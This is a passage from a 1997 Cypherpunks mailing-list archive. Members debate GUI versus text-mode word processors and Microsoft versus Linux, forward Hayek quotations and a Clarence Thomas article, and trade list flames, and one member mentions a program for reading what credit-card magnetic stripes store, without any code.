Those who can't put a decent argument together will not find solace in some
"good multi-threaded, multi-tasking, text mode system."

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 30 Dec 1997 12:37:58 +0800
To: cypherpunks@toad.com
Subject: Re: Why I Support Microsoft
In-Reply-To: <3.0.3.32.19971229065217.00a2b1b0@shell9.ba.best.com>
Message-ID: <TFaiie54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



landon dyer <landon@best.com> writes:

> At 03:47 AM 12/29/97 -0800, you wrote:
> >
> >  [lots of linux-vs-microsoft stuff deleted, then:]
> >
> >     - The third party market for Linux software would grow rapidly
> >       and enormously.
> >     - The government's software budget would be reduced dramatically.
> >
> >I consider both of these to be Good Things (tm).  The government
> >wouldn't be forcing anything at the point of a gun, they'd simply be
> >making a financially responsible vendor selection (hey, there's a
> >first time for everything).  Our tax dollars shouldn't be wasted on
> >substandard software when superior, cheaper alternatives exist.
>
>
>   i haven't touched unix or linux in a long time, but i submit that
> your ordinary GS-4 secretary can deal with microsoft word a lot more
> efficiently than s/he can deal with vi/emacs/latex.  i assume there are
> better tools available on *ix platforms these days, which actually
> destroys my argument:
>
>   do you really want the government to be more efficient?  :-)

This has no bloody crypto relevance, but the Applix word processor is
just as easy to use as Microsoft Word. (And somebody should write a
better free clone of MS Word as a student project.)

Moreover I've some extremely stupid people successfully trained to
use (character-mode) Wordperfect.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 12:19:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Hayek Quotes (fwd)
Message-ID: <199712300437.WAA04891@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Mon Dec 29 22:37:18 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199712300437.WAA04871@einstein.ssz.com>
Subject: Hayek Quotes
To: users@ssz.com (SSZ User Mail List)
Date: Mon, 29 Dec 1997 22:37:16 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 11676     


Forwarded message:

> X-within-URL: http://www.freedomsnest.com/cgi-bin/qa.cgi?ref=hayfa
> 
> 
>    [IMAGE]
>    
>    Quotes from F.A. Hayek
>    
>     [IMAGE] 
>    
>     1. Should our moral beliefs really prove to be dependent on factual
>        assumptions shown to be incorrect, it would be hardly moral to
>        defend them by refusing to acknowledge the facts.
>        
>        
>        
>     2. Ever since the beginning of modern science, the best minds have
>        recognized that "the range of acknowledged ignorance will grow
>        with the advance of science." Unfortunately, the popular effect of
>        this scientific advance has been a belief, seemingly shared by
>        many scientists, that the range of our ignorance is steadily
>        diminishing and that we can therefore aim at more comprehensive
>        and deliberate control of all human activities. It is for this
>        reason that those intoxicated by the advance of knowledge so often
>        become the enemies of freedom.
>        
>        
>        
>     3. Humiliating to human pride as it may be, we must recognize that
>        the advance and even the preservation of civilization are
>        dependent upon a maximum of opportunity for accidents to happen.
>        [The Constitution of Liberty, ch. 2.4
>        
>        
>        
>     4. All political theories assume, of course, that most individuals
>        are very ignorant. Those who plead for liberty differ from the
>        rest in that they include among the ignorant themselves as well as
>        the wisest.
>        
>        
>        
>     5. Compared with the totality of knowledge which is continually
>        utilized in the evolution of a dynamic civilization, the
>        difference between the knowledge that the wisest and that which
>        the most ignorant individual can deliberately employ is
>        comparatively insignificant.
>        
>        
>        
>     6. Equality of the general rules of law and conduct, however, is the
>        only kind of equality conducive to liberty and the only equality
>        which we can secure without destroying liberty. Not only has
>        liberty nothing to do with any other sort of equality, but it is
>        even bound to produce inequality in many respects. This is the
>        necessary result and part of the justification of individual
>        liberty: if the result of individual liberty did not demonstrate
>        that some manners of living are more successful than others, much
>        of the case for it would vanish.
>        
>        
>        
>     7. From the fact that people are very different it follows that, if
>        we treat them equally, the result must be inequality in their
>        actual position, and that the only way to place them in an equal
>        position would be to treat them differently. Equality before the
>        law and material equality are therefore not only different but are
>        in conflict which each other; and we can achieve either one or the
>        other, but not both at the same time.
>        
>        
>        
>     8. However human, envy is certainly not one of the sources of
>        discontent that a free society can eliminate. It is probably one
>        of the essential conditions for the preservation of such a society
>        that we do not countenance envy, not sanction its demands by
>        camouflaging it as social justice, but treat it, in the words of
>        John Stuart Mill, as "the most anti-social and evil of all
>        passions.
>        
>        
>        
>     9. Justice, like liberty and coercion, is a concept which, for the
>        sake of clarity, ought to be confined to the deliberate treatment
>        of men by other men.
>        
>        
>        
>    10. ...whenever it is necessary that one of several conflicting
>        opinions should prevail and when one would have to be made to
>        prevail by force if need be, it is less wasteful to determine
>        which has the stronger support by counting numbers than by
>        fighting. Democracy is the only method of peaceful change that man
>        has yet been discovered.
>        
>        
>        
>    11. The conception that government should be guided by majority
>        opinion makes sense only if that opinion is independent of
>        government. The ideal of democracy rests on the belief that the
>        view which will direct government emerges from an independent and
>        spontaneous process. It requires, therefore, the existence of a
>        large sphere independent of majority control in which the opinions
>        of the individuals are formed.
>        
>        
>        
>    12. It is only because the majority opinion will always be opposed by
>        some that our knowledge and understanding progress. In the process
>        by which opinion is formed, it is very probable that, by the time
>        any view becomes a majority view, it is no longer the best view:
>        somebody will already have advanced beyond the point which the
>        majority have reached. It is because we do not yet which of the
>        many competing new opinions will prove itself the best that we
>        wait until it has gained sufficient support.
>        
>        
>        
>    13. ...it is always from a minority acting in ways different from what
>        the majority would prescribe that the majority in the end learns
>        to do better.
>        
>        
>        
>    14. The successful politician owes his power to the fact that he moves
>        within the accepted framework of thought, that he thinks and talks
>        conventionally. It would be almost a contradiction in terms for a
>        politician to be a leader in the field of ideas. His task in a
>        democracy is to find out what the opinions held by the largest
>        number are, not to give currency to new opinions which may become
>        the majority view in some distant future.
>        
>        
>        
>    15. What a free society offers to the individual is much more than
>        what he would be able to do if only he were free.
>        
>        
>        
>    16. Perhaps the fact that we have seen millions voting themselves into
>        complete dependence on a tyrant has made our generation understand
>        that to choose one's government is not necessarily to secure
>        freedom.
>        
>        
>        
>    17. Human reason can neither predict nor deliberately shape its own
>        future. Its advances consist in finding out where it has been
>        wrong.
>        
>        
>        
>    18. A society that does not recognize that each individual has values
>        of his own which he is entitled to follow can have no respect for
>        the dignity of the individual and cannot really know freedom.
>        
>        
>        
>    19. Liberty is an opportunity for doing good, but this is only so when
>        it is also an opportunity for doing wrong.
>        
>        
>        
>    20. ...if we wish to preserve a free society, it is essential that we
>        recognize that the desirability of a particular object is not
>        sufficient justification for the use of coercion.
>        
>        
>        
>    21. ...it is largely because civilization enables us constantly to
>        profit from knowledge which we individually do not possess and
>        because each individual's use of his particular knowledge may
>        serve to assist others unknown to him in achieving their ends that
>        men as members of civilized society can pursue their individual
>        ends so much more successfully than they could alone.
>        
>        
>        
>    22. The mind cannot foresee its own advance.
>        
>        
>        
>    23. Every change in conditions will make necessary some change in the
>        use of resources, in the direction and kind of human activities,
>        in habits and practices. And each change in the actions of those
>        affected in the first instance will require further adjustments
>        that will gradually extend through the whole of society. Every
>        change thus in a sense creates a "problem" for society, even
>        though no single individual perceives it as such; it is gradually
>        "solved" by the establishment of a new overall adjustment.
>        
>        
>        
>    24. ...the case for individual freedom rests largely on the
>        recognition of the inevitable and universal ignorance of all of us
>        concerning a great many of the factors on which the achievements
>        of our ends and welfare depend.
>        
>        
>        
>    25. ...the ultimate decision about what is accepted as right and wrong
>        will be made not by individual human wisdom but by the
>        disappearance of the groups that have adhered to the "wrong"
>        beliefs.
>        
>        
>        
>    26. ...the argument for liberty is not an argument against
>        organization, which is one of the most powerful tools human reason
>        can employ, but an argument against all exclusive, privileged,
>        monopolistic organization, against the use of coercion to prevent
>        others from doing better.
>        
>        
>        
>    27. Even more significant of the inherent weakness of the collectivist
>        theories is the extraordinary paradox that from the assertion that
>        society is in some sense more than merely the aggregate of all
>        individuals their adherents regularly pass by a sort of
>        intellectual somersault to the thesis that in order that the
>        coherence of this larger entity be safeguarded it must be
>        subjected to conscious control, that is, to the control of what in
>        the last resort must be an individual mind. It thus comes about
>        that in practice it is regularly the theoretical collectivist who
>        extols individual reason and demands that all forces of society be
>        made subject to the direction of a single mastermind, while it is
>        the individualist who recognizes the limitations of the powers of
>        individual reason and consequently advocates freedom as a means
>        for the fullest development of the powers of the interindividual
>        process.
>        
>        
>        
>    28. It may indeed prove to be far the most difficult and not the least
>        important task for human reason rationally to comprehend its own
>        limitations. It is essential for the growth of reason that as
>        individuals we should bow to forces and obey principles which we
>        cannot hope fully to understand, yet on which the advance and even
>        the preservation of civilization depend.
>        
>        
>        
>    29. The discussions of every age are filled with the issues on which
>        its leading schools of thought differ. But the general
>        intellectual atmosphere of the time is always determined by the
>        views on which the opposing schools agree. They become the
>        unspoken presuppositions of all thought, and common and
>        unquestioningly accepted foundations on which all discussion
>        proceeds.
>        
>        
>        
>    30. From the saintly and single-minded idealist to the fanatic is
>        often but a step.
>        
>        
>        
>        
>    
>      _________________________________________________________________
>    
>    [LINK] 
>    
>    [Home][Authors][Subjects][Quotes][Books][Email]
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 30 Dec 1997 14:02:16 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: your mail
In-Reply-To: <031ce308b9b0af69c83a11320732d575@anon.efga.org>
Message-ID: <Pine.A41.3.95.971229224348.104708A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 29 Dec 1997, Anonymous wrote:

> Timmy May's reheated, refurbished, and 
> regurgitated cud is completely 
> inappropriate for the mailing lists into 
> which it is cross-ruminated.
> 
>  ( )( )________ Timmy May
>  /00           \      _
> O_\\--mm---mm  /_______)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Miller <dm0@avana.net>
Date: Tue, 30 Dec 1997 10:55:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: newscolumn1.html
In-Reply-To: <199712291845.NAA15134@yakko.cs.wmich.edu>
Message-ID: <34A86F7F.C525845@avana.net>
MIME-Version: 1.0
Content-Type: text/plain



damaged justice wrote:
> 
>      [1]Microsoft Small Business [2]Business First [3]Kemper Insurance
>                                  Companies
>                            [4][ISMAP]-[5][USEMAP]
> 
>                                                       December 29, 1997
> 
>   Tech Watch
> 
> Groups line up in support for Internet commerce taxes
>        ______________________________________________________________
> 
>      John Frees
> 
>      Rumblings on the horizon suggest that tax-free Internet commerce
>      could be coming to an end.

"Dave -- if you can't figure something out, the answer's probably
money."

>      State governments, already losing as much as $3 billion annually in
>      taxes on direct-mail purchases, are taking a strong look at the
>      growing market for online purchases.

"Dave -- if you can't figure something out, the answer's probably
money."

>      The Federation of Tax Administrators, the National Conference of
>      State Legislatures, National League of Cities and the National
>      Governors' Association all want Congress to let states tax such
>      purchases.

"Dave -- if you can't figure something out, the answer's probably
money."

	.
	.
	.



Viva el Geiger,

--David Miller

middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 13:20:09 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Why I Support Microsoft
In-Reply-To: <TFaiie54w165w@bwalk.dm.com>
Message-ID: <199712300516.AAA27021@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <TFaiie54w165w@bwalk.dm.com>, on 12/29/97 
   at 10:34 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>landon dyer <landon@best.com> writes:

>> At 03:47 AM 12/29/97 -0800, you wrote:
>> >
>> >  [lots of linux-vs-microsoft stuff deleted, then:]
>> >
>> >     - The third party market for Linux software would grow rapidly
>> >       and enormously.
>> >     - The government's software budget would be reduced dramatically.
>> >
>> >I consider both of these to be Good Things (tm).  The government
>> >wouldn't be forcing anything at the point of a gun, they'd simply be
>> >making a financially responsible vendor selection (hey, there's a
>> >first time for everything).  Our tax dollars shouldn't be wasted on
>> >substandard software when superior, cheaper alternatives exist.
>>
>>
>>   i haven't touched unix or linux in a long time, but i submit that
>> your ordinary GS-4 secretary can deal with microsoft word a lot more
>> efficiently than s/he can deal with vi/emacs/latex.  i assume there are
>> better tools available on *ix platforms these days, which actually
>> destroys my argument:
>>
>>   do you really want the government to be more efficient?  :-)

>This has no bloody crypto relevance, but the Applix word processor is
>just as easy to use as Microsoft Word. (And somebody should write a
>better free clone of MS Word as a student project.)

>Moreover I've some extremely stupid people successfully trained to use
>(character-mode) Wordperfect.

Lets see how many years before winblows were there computers??

It may be hard to believe for some of the "youngsters" on the list but
people got quite a bit of work done before the fancy GUI's and the ever
insistent push to "upgrade" every six months by Micky$loth.

A well train and experienced secretary will be much more productive with a
text-mode WP with a good set of macro's and keyboard accelerators. A mouse
and a GUI is not only unnecessary but counter-productive.

I would take a good multi-threaded, multi-tasking, text mode system over
the drivile that keeps comming out of Redmond, WA. anyday.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Miller <dm0@avana.net>
Date: Tue, 30 Dec 1997 12:19:29 +0800
To: cypherpunks@Algebra.COM
Subject: Re: thomas.html (fwd)
In-Reply-To: <199712300247.UAA04526@einstein.ssz.com>
Message-ID: <34A882B9.2782CA17@avana.net>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

>     Court TV Library
> 
>   Justice Thomas on 'Heroes and Victims'
> 
>     Legal Times
> 
>    Clarence Thomas may keep a lower profile than many of his colleagues
>    on the Supreme Court bench. But when he does speak out, he almost
>    always makes an impact.

As a sometimes member of our braindead society, let me thank you for
reminding
me of the long-term positive implications of the Anita Hill Trials on
the
future of our Country.  In regards to the "pubic hair in my coke"
travisty
that we all experienced, let me say this:

	Sometimes things have to get worse in order to get better.

Meaning, if you walk into someone, you back up, excuse yourself, and
walk around
them.  From what I've seen, my hat is off to Judge Clarence Thomas.

>    It should surprise no one that our culture now has far less difficulty
>    recognizing celebrities than it does those who achieve success as a
>    result of personal effort and character traits that we traditionally
>    would consider heroic. Denigrating heroic virtue -- in other words,
>    chalking heroism up to circumstance -- fits quite well with the notion
>    that we must all be the same and that there can be no significant
>    differences in our achievement, social standing, or wealth.

Which reminds me of another Troutmanism:

     "Dave -- We used to have heroes, people who were known for being
heroic.
      Now all we have is a bunch of people famous for being famous."

--David Miller

middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 30 Dec 1997 16:18:21 +0800
To: David Miller <cypherpunks@Algebra.COM
Subject: Re: You are all a bunch of cypherpunks
In-Reply-To: <TFaiie54w165w@bwalk.dm.com>
Message-ID: <v03102807b0ce4ef759d1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:39 AM -0700 12/30/97, David Miller wrote:

>This list was "supposed" to be about issues other than os bitches
>and gun talk.

Hey, try learning to _edit_. You foolishly included my entire article, .sig
lines and all, before adding your little gem of wisdom. Learn to include
only what is needed to reestablish context, or for specific discussion.


>I called vi the best to shut this shit up.  Let's talk about some (new)
>real
>cypherpunk shit.  Not TEOTWAWKI like misc.survivalism.  Ok, but give me
>a break.

Another illiterate discovers the Cypherpunks list, and then presumes to
tell _us_ what the "purpose" of it is.

A great many things are talked about. Learn to use a kill file, or to
delete what you don't want to read.

If you think the "purpose" of the list is, as some do, to talk about what a
neat book "Applied Cryptography" is, or where to get a copy of PGP, then,
fine, talk about that. Like so many yokels do.

Even better, go back to where you came from.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian W. Buchanan" <brian@smarter.than.nu>
Date: Tue, 30 Dec 1997 16:26:46 +0800
To: cypherpunks@ssz.com
Subject: Re: TDC: Sci-Tek ...
In-Reply-To: <199712300715.BAA05352@einstein.ssz.com>
Message-ID: <Pine.BSF.3.96.971230000942.3875A-100000@thought.calbbs.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 30 Dec 1997, Jim Choate wrote:

> 
> Hi,
> 
> Check out Sci-Tek on The Discovery Channel. The current episode is really
> pretty full of grins and giggles, not to mention a lot of half-truths and
> plain techno-fantasy.

Yes, quite funny.  "The computer is connected to the ... Internet!  This
could be a window of opportunity for the lawmen!"  Disappointing, however. 
I was hoping they'd have a bit on UV laser stunguns or ultrasonic
confusion weapons.  I'd love to have one of those "metamorphic camoflage" 
suits, though. :)  Are they even remotely plausible? 

-- 
Brian Buchanan                                      brian@smarter.than.nu

No security through obscurity!  Demand full source code!
4.4BSD for the masses - http://www.freebsd.org

COPYRIGHT WARNING:
This message is Copyright (C) 1997 by Brian W. Buchanan, all rights reserved.

This message may not be reproduced, redistributed, transcribed, or
otherwise copied by electronic device, in whole or in part, by Microsoft
Corp. or any of its subsidiaries, the Church of Scientology, the United
States Government, or any entities attached to the Unites States
Government or holding active contracts with the United States Government
unless a payment of $5,000 per copy is delivered to the author and recipt
acknowledged before said reproduction is made.  Failure to comply is a
violation of the No Electronic Theft Act of 1997 and is punishable by
fines up to $250,000 and up to 5 years in federal prison.  Full "fair use" 
copying and redistribution rights are granted to parties not named above.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 14:55:36 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: TDC: Sci-Tek ...
Message-ID: <199712300715.BAA05352@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Check out Sci-Tek on The Discovery Channel. The current episode is really
pretty full of grins and giggles, not to mention a lot of half-truths and
plain techno-fantasy.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Miller <dm0@avana.net>
Date: Tue, 30 Dec 1997 15:43:22 +0800
To: cypherpunks@Algebra.COM
Subject: You are all a bunch of cypherpunks
In-Reply-To: <TFaiie54w165w@bwalk.dm.com>
Message-ID: <34A8B328.30F52755@avana.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote (my comments below):
> 
> This is largely a matter of personal preference (i.e., religious), but I'll
> say why I think Wm. Geiger's claims are unconvincing.
> 
> At 9:58 PM -0700 12/29/97, William H. Geiger III wrote:
> 
> >Lets see how many years before winblows were there computers??
> >
> >It may be hard to believe for some of the "youngsters" on the list but
> >people got quite a bit of work done before the fancy GUI's and the ever
> >insistent push to "upgrade" every six months by Micky$loth.
> 
> The real boom in productivity has to do with users not having to memorize
> various command sequences for various programs.
> 
> What the Macintosh made popular (though I won't get into the dangerous
> ground of saying it pioneered these ideas--see Note below) was the approach
> of having a relatively consistent set of commands across many applications.
> And with the commands visible in a menu bar.
> 
> (Note: The Symbolics and Xerox Lisp/Smalltalk machines I used in the early
> 80s had similar features, with pop-up menus of commonly used commands. And,
> of course, with even heavier use of object-oriented methodologies than the
> Mac could afford to include. The idea of a unified, integrated environment
> is an old one, going back at least to Doug Engelbart in the 60s, and
> perhaps even further back. And the Bobrow book, "Design of Interactive
> Programming Environments," laid out most of the features we now call "GUI."
> Or some people call "GUI.")
> 
> The effect of this all is profound. It means that a manager or secretary or
> whatever doesn't need to write down a bunch of funny commands for Wordstar,
> or Emacs, or Autocad...he or she can "muddle through" just by going to the
> "File" menu item to open files, save them, make copies, etc. Or to the
> "Edit" menu item to make changes, cut and paste, alter fonts, whatever.
> 
> Specialists in some particular program of course become proficient even
> without a GUI or Menu-based system. But of course most GUI programs (Mac,
> of course, and Windows, and most Unices) offer various keyboard shortcuts.
> 
> Maybe Wm. Geiger and others dismiss GUI or Menu interfaces as "training
> wheels." Perhaps. But it's very useful to have such aids when dealing with
> 5 or 10 or 30 different programs!
> 
> (I started out on a Data General Nova, got a Proc Tech Sol as my first PC,
> then a VAX, then an IBM PC, then a Symbolics 3600 Lisp Machine, then a Mac,
> and so on. With my PC, moving from one program to another was always
> painful, and I had various keyboard overlays (remember those?) to help me
> transition from the "Cmd-Shift-Backspace" to select a word in BlueWord
> 1.00A to "Shift-Doubleclick" to do the same thing in SpreadSheet 1.5. Once
> I got my Macintosh, this all ended. No more keyboard overlays...they
> weren't needed.)
> 
> >A well train and experienced secretary will be much more productive with a
> >text-mode WP with a good set of macro's and keyboard accelerators. A mouse
> >and a GUI is not only unnecessary but counter-productive.
> 
> Which of course explains why corporations are not using Windows or Macs!
> 
> I disagree strongly that any corporation is more productive, overall, with
> such tools. Granted, a fast typist equipped with some special purpose text
> entry system (we used to have Laniers and Wangs as our "secretary
> engines"), but that typist will not be constrained by typing in a GUI
> window!
> 
> But of course most companies, especially larger high tech companies, don't
> even have secretaries to type and retype letters, memos, and reports.
> Engineers, and even managers, and even very senior managers, type most of
> their own stuff these days. (Or so all my friends in Silicon Valley assure
> me.)
> 
> I started typing all my own technical papers into my own IBM PC back in
> '83, using the first version of Microsoft Word. While it is true that I was
> being paid to be a scientist, and not a typist, it was far faster for me to
> write the papers on my PC, edit them, and so on, than to submit a longhand
> (arghh!) copy to a secretary, finagle to get her to work on it, get it back
> several days later, find numerous errors I had not put there, and even
> missing sentences and paragraphs. And so on.
> 
> This experience of mine has been repeated millions of times in corporate
> America. Even my old boss, Andy Grove, now types all of his correspondence,
> which is now mostly e-mail. Or so he claims.
> 
> In this environment, where people at all levels are using multiple
> programs--e-mail, word processing, drawing, spreadsheets, math programs,
> graphing programs, Web browsers, and so on--it is much more efficient to
> have an integrated environment, a common set of basic commands, a GUI.
> 
> >I would take a good multi-threaded, multi-tasking, text mode system over
> >the drivile that keeps comming out of Redmond, WA. anyday.
> 
> I think the quality of lack of quality of word processors is grossly
> overrated.
> 
> Most features are not used in ordinary writing. I write a *lot* of stuff,
> and 99% of what I write is completely nondependent on bells and whistles in
> most word processing programs.
> 
> (I could digress into discussing writing features I like to use for some
> projects, such as MORE's outlining features, or page layout features I use
> in FrameMaker. But 99% of my writing is now done for e-mail like this,
> using the straightforward text tools of Eudora Pro.)
> 
> Most writing is done "typewriter style," with the ability to move words
> around just lagniappe.  (And often dangerous lagniappe at that...most
> errors creep in when people move words and sentences around, often leaving
> them mismatching their surroundings in tense and awkwardly linking to often
> leaving them mismatching often leaving them mismatching...see what I mean?)
> 
> Good writing comes from good writers, not from word processing programs.
> Those who can't put a decent argument together will not find solace in some
> "good multi-threaded, multi-tasking, text mode system."
> 
> --Tim May
> 
> The Feds have shown their hand: they want a ban on domestic cryptography
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^2,976,221   | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway.

This list was "supposed" to be about issues other than os bitches
and gun talk.

Think of your history.  [See efga.org before your history becomes your
past.]

I called vi the best to shut this shit up.  Let's talk about some (new)
real
cypherpunk shit.  Not TEOTWAWKI like misc.survivalism.  Ok, but give me
a break.

These are the projects with current priority:

1)  I am starting a credit-card swiping program for interested citizens
in
    Atlanta.  The vast majority don't know what is on their credit
cards.
    Although they do not technically "own" the cards, I feel they have a
right
    to know what the ABA format has to say about them.

    (No, I'm not advocating fraud, so don't even start with me.)

2)  I want to know anyone who knows anything about full-duplex soundcard
    programming under Linux.  Internet Telephony is fast opon us, do you
want
    to subscribe or design?  This is duplex Nautilus II.  Get in gear.

I have 1) completed.  How about 2)?  Any closet Nautilus users out
there?

We could code, or we could just type jerk off until the clock strikes 5
pm.

--David Miller

middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.

Encrypted IP Voice Duplex '98 for North America

(Apologies to Tim.  You know I agree with all that shit...)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 17:47:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Word Processors and GUIs
In-Reply-To: <v03102806b0ce2de79528@[207.167.93.63]>
Message-ID: <199712300946.EAA29290@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102806b0ce2de79528@[207.167.93.63]>, on 12/30/97 
   at 12:26 AM, Tim May <tcmay@got.net> said:

>In this environment, where people at all levels are using multiple
>programs--e-mail, word processing, drawing, spreadsheets, math programs,
>graphing programs, Web browsers, and so on--it is much more efficient to
>have an integrated environment, a common set of basic commands, a GUI.

While you have made some intriguing points they for the most part address
the benefits of standardization not of a GUI (note: Standardization !=
GUI).

While some standardization is good it is not the be all to end all. While
standardization of cut, paste, open, close, print makes perfect sense most
commands do not fall into this catagory. The inherent benefit of this
standardization decrease the more specialized an application becomes. With
a program like Autocad or MathCad or even Lotus 1-2-3 where one has a
steep learning curve of specialized commands the benefits of standardized
basic commands boarders on insignificant.

Once we get past the standardization issue to the one of textmode vs GUI
(which was the topic of my original post) I doubt that one can make the
case that a draftsman running a graphics program under a textmode OS is
less efficient as his counterpart who is saddled with a bloated GUI OS. In
fact if both are operating on the same hardware I would venture a guess
that the textmode user will be more efficient by the simple fact that his
resources are not being consumed by the GUI.

The same case can be made for the accounting staff using spreadsheets or
the secretaries typing letters. I'll take an accounting department using
Lotus 1-2-3 3.x up against a similar group running MS Office and Win95/NT
any day of the week. I'll get the same work done faster and *cheaper*. Now
the MS group will have prettier reports but why should the accounting dept
be in the business of typesetting??

This brings up another issue of decreased performance with the GUI's. It
is the notion that every document must be type-set. I can't even start to
imagine the millions of man hours wasted in the office because every
insignificant memo, report, and letter has to be formatted "just right"
before it is acceptable. Now with the growing popularity of e-mail this
trend has reversed somewhat but you have companies like Netscape and
Microsoft who are eagerly trying to herd the masses back into this typeset
mentality.

But I digress. :)

Another contention I have with the GUI's is the use of icons. One of the
most misused and time wasting "features" of the GUI's. It makes absolutely
no sense for someone who is working on the keyboard to stop what they are
doing, go over to the mouse, and then point and click to execute a
command. Now if you are in some type of graphics/drawing program where
most of your work is being done with a mouse already then it makes sense
but in a word processor or a spreadsheet or even a database it is highly
inefficient.

Well I guess I will rap this up with a final note. With the GUI OS's (and
the applications that run on them) as size and complexity increases
performance and reliability decreases. Without a doubt I can get more work
done on cheaper hardware running *nix or os/2 using only text mode
applications than I can running a GUI with it's associated bloated
applications.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ccxt@aol.com
Date: Tue, 30 Dec 1997 19:57:33 +0800
